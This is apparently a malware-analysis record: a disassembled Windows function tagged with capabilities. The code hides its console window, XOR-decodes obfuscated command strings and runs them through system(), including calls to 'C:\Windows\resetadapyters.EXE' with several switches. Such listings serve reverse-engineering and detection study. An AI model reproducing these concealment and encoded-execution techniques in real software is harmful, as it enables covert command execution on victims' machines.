Function at 0x14003ab60
Capabilities:
Capture network configuration via ipconfig
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f60]
mov eax, 0x4060
call fcn.1400b51d0
sub rsp, rax
movaps xmmword [rsp + 0x4050], xmm6
movaps xmmword [rsp + 0x4040], xmm7
movaps xmmword [rsp + 0x4030], xmm8
movaps xmmword [rsp + 0x4020], xmm9
movaps xmmword [rsp + 0x4010], xmm10
movaps xmmword [rsp + 0x4000], xmm11
mov rax, qword [0x1400e40c0]
xor rax, rsp
mov qword [rbp + 0x3ef0], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [str.UBJU]
movups xmmword [rbp + 0x1930], xmm0
movups xmm1, xmmword [0x1400d1260]
movups xmmword [rbp + 0x1940], xmm1
movups xmm0, xmmword [0x1400d1270]
movups xmmword [rbp + 0x1950], xmm0
movups xmm1, xmmword [0x1400d1280]
movups xmmword [rbp + 0x1960], xmm1
movups xmm0, xmmword [0x1400d1290]
movups xmmword [rbp + 0x1970], xmm0
movsd xmm0, qword [0x1400d12a0]
movsd qword [rbp + 0x1980], xmm0
movzx eax, word [0x1400d12a8]
mov word [rbp + 0x1988], ax
mov r8d, edi
movdqa xmm7, xmmword [0x1400d1f00]
movdqa xmm11, xmmword [0x1400d1f40]
movdqa xmm8, xmmword [0x1400d1ef0]
movdqa xmm6, xmmword [0x1400d2260]
movdqa xmm9, xmmword [0x1400d1ec0]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14003ad93
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1934]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14003aca0
cmp r8d, 0x5a
jge 0x14003add3
movsxd rax, r8d
lea r9, [rbp + 0x1930]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x14003ada0
lea rcx, [rbp + 0x1930]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d15a0]
movups xmmword [rbp + 0x4c0], xmm0
mov eax, dword [0x1400d15f0]
movups xmm0, xmmword [0x1400d15c0]
movups xmm1, xmmword [0x1400d15b0]
mov dword [rbp + 0x510], eax
movups xmmword [rbp + 0x4e0], xmm0
movups xmmword [rbp + 0x4d0], xmm1
movzx eax, word [0x1400d15f4]
movups xmm0, xmmword [0x1400d15e0]
movups xmm1, xmmword [0x1400d15d0]
mov word [rbp + 0x514], ax
movups xmmword [rbp + 0x500], xmm0
movups xmmword [rbp + 0x4f0], xmm1
mov r8d, edi
cmp ebx, 2
jl 0x14003af53
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x4c4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14003ae60
cmp r8d, 0x56
jge 0x14003af93
movsxd rax, r8d
lea r9, [rbp + 0x4c0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x56
jl 0x14003af60
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d0350]
movups xmmword [rbp + 0x410], xmm0
movups xmm0, xmmword [0x1400d0370]
movups xmmword [rbp + 0x430], xmm0
mov eax, dword [0x1400d03a8]
movups xmm0, xmmword [0x1400d0390]
movups xmm1, xmmword [0x1400d0360]
mov dword [rbp + 0x468], eax
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x420], xmm1
movzx eax, word [0x1400d03ac]
movsd xmm0, qword [0x1400d03a0]
movups xmm1, xmmword [0x1400d0380]
mov word [rbp + 0x46c], ax
movsd qword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x440], xmm1
mov r8d, edi
cmp ebx, 2
jl 0x14003b123
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x414]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14003b030
cmp r8d, 0x5e
jge 0x14003b163
movsxd rax, r8d
lea r9, [rbp + 0x410]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5e
jl 0x14003b130
lea rcx, [rbp + 0x410]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400cfe80]
movups xmm0, xmmword [0x1400cfe30]
mov dword [rbp + 0x2f0], eax
movups xmmword [rbp + 0x2a0], xmm0
movzx eax, word [0x1400cfe84]
movups xmm0, xmmword [0x1400cfe50]
movups xmm1, xmmword [0x1400cfe40]
mov word [rbp + 0x2f4], ax
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2b0], xmm1
movzx eax, byte [0x1400cfe86]
movups xmm0, xmmword [0x1400cfe70]
movups xmm1, xmmword [0x1400cfe60]
mov byte [rbp + 0x2f6], al
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2d0], xmm1
mov r8d, edi
cmp ebx, 2
jl 0x14003b2f3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x2a4]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14003b200
cmp r8d, 0x57
jge 0x14003b333
movsxd rax, r8d
lea r9, [rbp + 0x2a0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x57
jl 0x14003b300
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp + 0x3850]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3870]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3890]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3bb0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x38b0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x38d0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x38f0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3930]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3910]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3810]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3830]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3950]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3970]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3b90]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3b70]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3b50]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3b30]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3b10]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3af0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3ad0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3ab0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3dd0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3a70]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3a50]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3a30]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3a10]
call fcn.14003a650
nop
lea rcx, [rbp + 0x39f0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x39d0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x39b0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3990]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3ed0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3eb0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3e90]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3e70]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3e50]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3e30]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3e10]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3df0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3db0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3d90]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3d70]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3d50]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3d30]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3d10]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3cf0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3cd0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3cb0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3c90]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3a90]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3c70]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3c50]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3c30]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3c10]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3bf0]
call fcn.14003a650
nop
lea rcx, [rbp + 0x3bd0]
call fcn.14003a650
nop
lea rcx, str.C:Windows_resetadapyters.EXE__SU_AUTO__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r13, qword [rbp + 0x3860]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x1400474d9
lea r12, [rbp + 0x3850]
cmp qword [rbp + 0x3868], 0xf
cmova r12, qword [rbp + 0x3850]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea r15, [r13 + 0x22]
mov esi, reloc.WS2_32.dll_ntohs
mov ebx, esi
lea r14, [rsp + 0x68]
movabs rax, 0x8000000000000000
mov edx, reloc.WLDAP32.dll_Ordinal_22
cmp r15, rbx
jbe 0x14003b700
mov rbx, r15
or rbx, rsi
cmp rbx, rcx
jbe 0x14003b6a9
mov rbx, rcx
add rax, 0x27
jmp 0x14003b6d4
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003b6be
mov r14, rdi
jmp 0x14003b6fb
cmp rcx, 0x1000
jb 0x14003b6f3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003b6fb
call fcn.1400b49bc
mov r14, rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SS]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400cede8]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400cedf8]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003b790
lea rax, [rcx + 5]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x68]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x68]
jmp 0x14003b7b5
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rsp + 0x68]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
cmova rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14003b84b
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b846
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b846
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqa xmm10, xmmword [0x1400d1e80]
movdqu xmmword [rbp + 0x98], xmm10
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14003b8a0
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b89b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov r13, qword [rbp + 0x3880]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x1400474d9
lea r12, [rbp + 0x3870]
cmp qword [rbp + 0x3888], 0xf
cmova r12, qword [rbp + 0x3870]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp - 0x78]
cmp r15, rsi
jbe 0x14003b97e
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003b922
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003b953
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003b93d
mov rbx, rdi
jmp 0x14003b97a
cmp rcx, 0x1000
jb 0x14003b972
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003b97a
call fcn.1400b49bc
mov rbx, rax
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CSK]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400cee10]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400cee20]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003ba0f
lea rax, [rcx + 5]
mov qword [rbp - 0x68], rax
lea rbx, [rbp - 0x78]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x78]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x78]
jmp 0x14003ba33
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x78]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rcx, qword [rbp + 0xa8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14003bac9
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bac4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0xb8], xmm10
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003bb14
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bb0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rbp - 0x68], xmm10
mov byte [rbp - 0x78], 0
mov r13, qword [rbp + 0x38a0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x1400474d9
lea r12, [rbp + 0x3890]
cmp qword [rbp + 0x38a8], 0xf
cmova r12, qword [rbp + 0x3890]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp - 0x58]
cmp r15, rsi
jbe 0x14003bbf0
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003bb94
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003bbc5
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003bbaf
mov rbx, rdi
jmp 0x14003bbec
cmp rcx, 0x1000
jb 0x14003bbe4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003bbec
call fcn.1400b49bc
mov rbx, rax
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CM]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400cee38]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400cee48]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003bc81
lea rax, [rcx + 5]
mov qword [rbp - 0x48], rax
lea rbx, [rbp - 0x58]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x58]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x58]
jmp 0x14003bca5
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x58]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14003bd3b
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bd36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bd36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0xd8], xmm10
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14003bd86
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bd81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rbp - 0x48], xmm10
mov byte [rbp - 0x58], 0
mov r13, qword [rbp + 0x38c0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x1400474d9
lea r12, [rbp + 0x38b0]
cmp qword [rbp + 0x38c8], 0xf
cmova r12, qword [rbp + 0x38b0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
lea r15, [r13 + 0x22]
mov rbx, rsi
lea r14, [rbp - 0x38]
cmp r15, rbx
jbe 0x14003be62
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14003be06
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003be37
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003be21
mov r14, rdi
